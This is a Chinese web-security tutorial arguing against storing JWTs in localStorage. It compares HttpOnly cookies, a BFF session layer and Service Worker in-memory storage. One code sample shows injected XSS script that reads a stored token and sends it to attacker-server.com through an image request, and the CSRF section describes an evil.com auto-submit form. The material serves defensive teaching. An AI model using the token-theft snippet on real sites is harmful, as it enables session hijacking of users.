javascript技巧

关注公众号 jb51net

关闭
首页 > 网络编程 > JavaScript > javascript技巧 > js JWT前端存储

关于js JWT的前端存储新思路详解

作者：EF@蛐蛐堂

JSON Web Token (JWT)是目前最流行的跨域身份验证解决方案,这篇文章主要介绍了关于js JWT的前端存储新思路的相关资料,文中通过代码介绍的非常详细,需要的朋友可以参考下

前言

多年来，将 JWT (JSON Web Token) 等用户的身份信息存储在 localStorage或sessionStorage 中，似乎已经成了前后端分离架构下的“标准答案”。然而，随着网络安全威胁的不断演进，这个曾经的“最佳实践”如今已然成为一个巨大的安全隐患。

localStorage脆弱的安全性

localStorage 的核心问题在于其脆弱的安全性，这主要体MAT现在对 XSS (Cross-Site Scripting, 跨站脚本攻击) 的无力抵抗上。

XSS

简单来说，XSS 攻击是指攻击者设法在我们的网站上注入并执行了恶意的 JavaScript 脚本。注入的途径多种多样，可能是一个被用户渲染的恶意评论，也可能是一个包含恶意代码的 URL 参数。

一旦恶意脚本在我们的页面上成功执行，它就拥有了与我们自己的前端代码几乎完全相同的权限。这意味着：

它可以轻松访问 localStorage！

攻击者只需要注入一行简单的代码，就可以将我们存储的 JWT 发送到他自己的服务器上：

//攻击者注入的恶意脚本
const stolenToken = localStorage.getItem('jwt_token');
//创建一个看不见的图片元素
const img = new Image();
//将偷来的 Token 作为 URL 参数，赋值给图片的 srcimg.src =`https://attacker-server.com/steal?token=${encodeURIComponent(stolenToken)}`;

一旦 Token 被盗，攻击者就可以冒充我们的用户，为所欲为。所有依赖于这个 Token 的后端接口都将对攻击者敞开大门。这无疑是毁灭性的。

结论： localStorage 本质上是一个对 JavaScript 完全开放的沙盒。任何能够在我们页面上执行的脚本，都能读写其中的所有数据。将敏感的、具有用户身份凭证的 JWT 存放在这里，就像把家门钥匙挂在了门外的钉子上——方便了自己，也方便了小偷。

传统解决方案：HttpOnly Cookie

为了解决 XSS 盗取 Token 的问题，社区很早就提出了一个经典的方案：使用 HttpOnly Cookie。

当服务器在设置 Cookie 时，如果添加了 HttpOnly 标志，那么这个 Cookie 将无法通过客户端 JavaScript (document.cookie) 来访问。浏览器只会在发送 HTTP 请求时自动携带它。

优点：

但它也并非完美，带来了新的挑战：CSRF 攻击。

CSRF

CSRF (Cross-Site Request Forgery, 跨站请求伪造) 是指攻击者诱导用户在一个已经登录的网站上，从一个恶意网站发起非本意的请求。

例如，我们登录了 bank.com，浏览器保存了 bank.com 的 HttpOnly Cookie。此时，我们访问了一个恶意网站 evil.com，该网站上有一个自动提交的表单，其目标是 bank.com 的转账接口。当我们打开 evil.com 时，浏览器会自动携带 bank.com 的 Cookie 发起转账请求，从而在我们自己不知情的情况下完成转账。

解决方案：

CSRF 有成熟的防御手段：

  1. SameSite 属性：在设置 Cookie 时，将 SameSite 属性设置为 Strict 或 Lax，可以有效阻止跨站请求携带 Cookie。
  2. CSRF Token：服务器生成一个随机的 CSRF Token，前端在每次发起状态变更的请求时，都需要在请求体或请求头中携带这个 Token，服务器进行验证。

HttpOnly Cookie 方案虽然可行，但要求后端进行精细的 Cookie 配置和 CSRF 防御，对于现代前后端分离、特别是需要跨域调用的场景，配置会变得更加复杂。

前端鉴权新思路

BFF (Backend for Frontend) + Cookie

BFF，即 Backend For Frontend（服务于前端的后端）。。

在 Web 服务里，搭建一个中间层，前端访问中间层的接口，中间层再访问后台的 Java/C++ 服务。负责鉴权、API 聚合、数据转换等。

这类服务的特点是不需要太强的服务器运算能力，但对程序的灵活性有较高的要求。

鉴权流程：

  1. 登录：前端将用户名密码发送给 BFF。
  2. 认证与换取：BFF 将凭证发送给真正的认证服务，获取 JWT。
  3. 设置安全 Cookie：BFF 并不将 JWT 返回给前端。取而代之，BFF 创建一个会话（Session），并将 Session ID 存储在一个安全的、HttpOnly、SameSite=Strict 的 Cookie 中，返回给浏览器。
  4. API 请求：前端向 BFF 发起所有 API 请求（例如 /api/user）。由于是同域请求（或配置了 withCredentials），浏览器会自动携带上述 Session Cookie。
  5. 代理与鉴权：BFF 收到请求后，通过 Session Cookie 找到对应的会话和 JWT，然后将 JWT 添加到请求头中，再将请求转发给后端的微服务。

BFF层作为前端与后端的桥梁，主要负责处理以下问题：

  1. ‌适配多端需求‌：不同终端（如Web、移动端、小程序）对数据需求不同，BFF层可按前端需求定制数据格式，减少数据传输量。 ‌23
  2. ‌简化前端逻辑‌：封装多个后端接口调用，将复杂业务逻辑移至后端处理，前端只需调用简化后的API。 ‌25
  3. ‌提升安全性‌：通过统一身份验证、权限控制等机制，避免前端直接暴露后端细节。 ‌24
  4. ‌降低耦合性‌：当后端服务变更时，BFF层可进行适配转换，减少对前端的直接影响。 ‌23

优点：

缺点：

Service Worker + 内存存储

Service Worker是一种运行在浏览器后台的独立线程，主要用于提升网页性能和实现后台功能，如离线缓存、网络代理、消息推送等。

将 Token 的管理权完全交给 Service Worker，主线程（我们的 React/Vue 应用）不直接接触 Token。

鉴权流程：

  1. 登录：主线程登录成功后，通过 postMessage 将获取到的 JWT 发送给激活的 Service Worker。
  2. 内存存储：Service Worker 接收到 Token 后，将其存储在自身的作用域内的一个变量中（即内存中）。它不使用 localStorage 或 IndexedDB。
  3. 拦截请求：前端应用像往常一样发起 fetch('/api/data') 请求，但不添加 Authorization 头。
  4. 注入 Token：Service Worker 监听 fetch 事件，拦截所有出站的 API 请求。它会克隆原始请求，并将内存中存储的 Token 添加到新请求的 Authorization 头中。
  5. 发送请求：Service Worker 将带有 Token 的新请求发送到网络。

优点：

缺点：

几种方案对比

方案

防御 XSS 窃取

防御 CSRF

前端复杂度

后端/架构复杂度

推荐场景

localStorage

❌ 极差

✅ (天然免疫)

极低

极低

不推荐

HttpOnly Cookie

✅ 优秀

⚠️ 需手动防御

较低

中等

传统 Web 应用，或有能力处理 CSRF 的团队

BFF + Cookie

✅✅ 顶级

✅✅ 顶级

极低

 较高

中大型应用，微服务架构，追求极致安全与清晰分层

Service Worker

✅ 优秀

✅ (天然免疫)

较高

极低

PWA，追求纯前端解决方案，愿意接受更高复杂度的创新项目

总结

将 JWT 存储在 localStorage 的时代正在过去。这并非危言耸听，而是对日益严峻的网络安全形势的积极响应。

到此这篇关于关于js JWT的前端存储新思路的文章就介绍到这了,更多相关js JWT前端存储内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家！

您可能感兴趣的文章:
阅读全文